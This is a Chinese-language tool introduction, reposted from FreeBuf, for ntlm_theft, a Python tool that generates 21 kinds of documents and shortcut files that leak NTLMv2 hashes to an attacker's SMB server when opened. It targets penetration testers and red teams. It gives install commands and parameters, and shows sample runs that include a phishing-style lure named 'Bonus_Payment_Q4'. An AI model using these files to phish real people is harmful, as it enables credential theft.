如何使用ntlm_theft生成各种类型的NTLMv2哈希窃取文件

安全 网站安全
ntlm_theft是一款基于Python 3开发的开源工具,可以生成21种不同类型的哈希窃取文档。

关于ntlm_theft

ntlm_theft是一款基于Python 3开发的开源工具,可以生成21种不同类型的哈希窃取文档。该工具适用于网络钓鱼攻击,可以用于支持外网SMB流量和内部网络环境之中。与基于宏的文档或利用漏洞的文档相比,这些文件类型的好处在于,所有的这些文件都是使用“预期功能”构建的。

[[429931]]

使用场景

ntlm_theft主要针对渗透测试人员和红队研究人员设计,可以帮助研究人员对目标公司员工进行内部网络钓鱼,或大规模测试防病毒和电子邮件网关的安全性。如果外网防火墙上允许出站SMB访问,则它也可用于外部网络钓鱼。

工具依赖

ntlm_theft基于Python 3开发,因此我们需要在本地环境安装并配置好Python 3环境,并安装好xlsxwriter:

  1. pip3 install xlsxwriter 

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

  1. git clone https://github.com/Greenwolf/ntlm_theft.git 

工具参数

ntlm_theft的运行需要提供四个必要参数,一个输入格式,输入文件或目录,以及基础的运行模式:

  • -g, --generate : 选择生成所有文件或指定文件类型
  • -s, --server : SMB哈希捕捉服务器的IP地址
  • -f, --filename : 不包含后缀的基础文件名,之后可以进行重命名

工具运行

下面给出的工具演示样例中,我们将使用ntlm_theft生成所有文件:

  1. # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test 
  2.  
  3. Created: test/test.scf (BROWSE) 
  4.  
  5. Created: test/test-(url).url (BROWSE) 
  6.  
  7. Created: test/test-(icon).url (BROWSE) 
  8.  
  9. Created: test/test.rtf (OPEN) 
  10.  
  11. Created: test/test-(stylesheet).xml (OPEN) 
  12.  
  13. Created: test/test-(fulldocx).xml (OPEN) 
  14.  
  15. Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) 
  16.  
  17. Created: test/test-(includepicture).docx (OPEN) 
  18.  
  19. Created: test/test-(remotetempl*ate).docx (OPEN) 
  20.  
  21. Created: test/test-(frameset).docx (OPEN) 
  22.  
  23. Created: test/test.m3u (OPEN IN WINDOWS MEDIA PL*AYER ONLY) 
  24.  
  25. Created: test/test.asx (OPEN) 
  26.  
  27. Created: test/test.jnlp (OPEN) 
  28.  
  29. Created: test/test.application (DOWNLOAD AND OPEN) 
  30.  
  31. Created: test/test.pdf (OPEN AND ALLOW) 
  32.  
  33. Created: test/zoom-attack-instructions.txt (PASTE TO CHAT) 
  34.  
  35. Generation Complete. 

在下面的工具使用样例中,我们将使用ntlm_theft仅生成现代文件:

  1. # python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting 
  2.  
  3. Skipping SCF as it does not work on modern Windows 
  4.  
  5. Created: meeting/meeting-(url).url (BROWSE TO FOLDER) 
  6.  
  7. Created: meeting/meeting-(icon).url (BROWSE TO FOLDER) 
  8.  
  9. Created: meeting/meeting.rtf (OPEN) 
  10.  
  11. Created: meeting/meeting-(stylesheet).xml (OPEN) 
  12.  
  13. Created: meeting/meeting-(fulldocx).xml (OPEN) 
  14.  
  15. Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) 
  16.  
  17. Created: meeting/meeting-(includepicture).docx (OPEN) 
  18.  
  19. Created: meeting/meeting-(remotetempl*ate).docx (OPEN) 
  20.  
  21. Created: meeting/meeting-(frameset).docx (OPEN) 
  22.  
  23. Created: meeting/meeting-(externalcell).xlsx (OPEN) 
  24.  
  25. Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PL*AYER ONLY) 
  26.  
  27. Created: meeting/meeting.asx (OPEN) 
  28.  
  29. Created: meeting/meeting.jnlp (OPEN) 
  30.  
  31. Created: meeting/meeting.application (DOWNLOAD AND OPEN) 
  32.  
  33. Created: meeting/meeting.pdf (OPEN AND ALLOW) 
  34.  
  35. Skipping zoom as it does not work on the latest versions 
  36.  
  37. Skipping Autorun.inf as it does not work on modern Windows 
  38.  
  39. Skipping desktop.ini as it does not work on modern Windows 
  40.  
  41. Generation Complete. 

在下面的工具使用样例中,我们将使用ntlm_theft仅生成一份xlsx文件:

  1. # python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4 
  2.  
  3. Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN) 
  4.  
  5. Generation Complete. 

工具运行截图

项目地址

ntlm_theft:【GitHub传送门

 

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2024-03-08 12:04:22

PythonPillow验证码

2013-04-27 14:35:40

2009-12-24 17:19:13

WPF触发器

2023-10-27 07:03:22

字符串String类型

2010-02-26 14:58:14

WCF单例模式

2010-02-04 11:32:01

数据交换技术

2010-02-25 10:29:17

WCF Transac

2010-01-19 16:56:46

交换机光纤端口

2021-04-20 08:32:56

苹果AppStore违规

2011-07-28 15:16:23

Oracle数据库联机日志spfile

2010-01-18 11:13:59

光纤交换机接口

2010-01-14 12:50:26

光纤以太网交换机

2020-12-01 16:21:06

人工智能深度学习机器学习

2020-12-01 10:24:48

人工智能机器学习技术

2023-02-07 09:32:53

2019-09-27 10:53:28

RedisPythonJava

2018-01-08 07:15:18

2010-04-02 13:15:01

Oracle跟踪

2010-09-29 09:59:22

J2ME配置

2011-12-26 15:58:01

枚举
点赞
收藏

51CTO技术栈公众号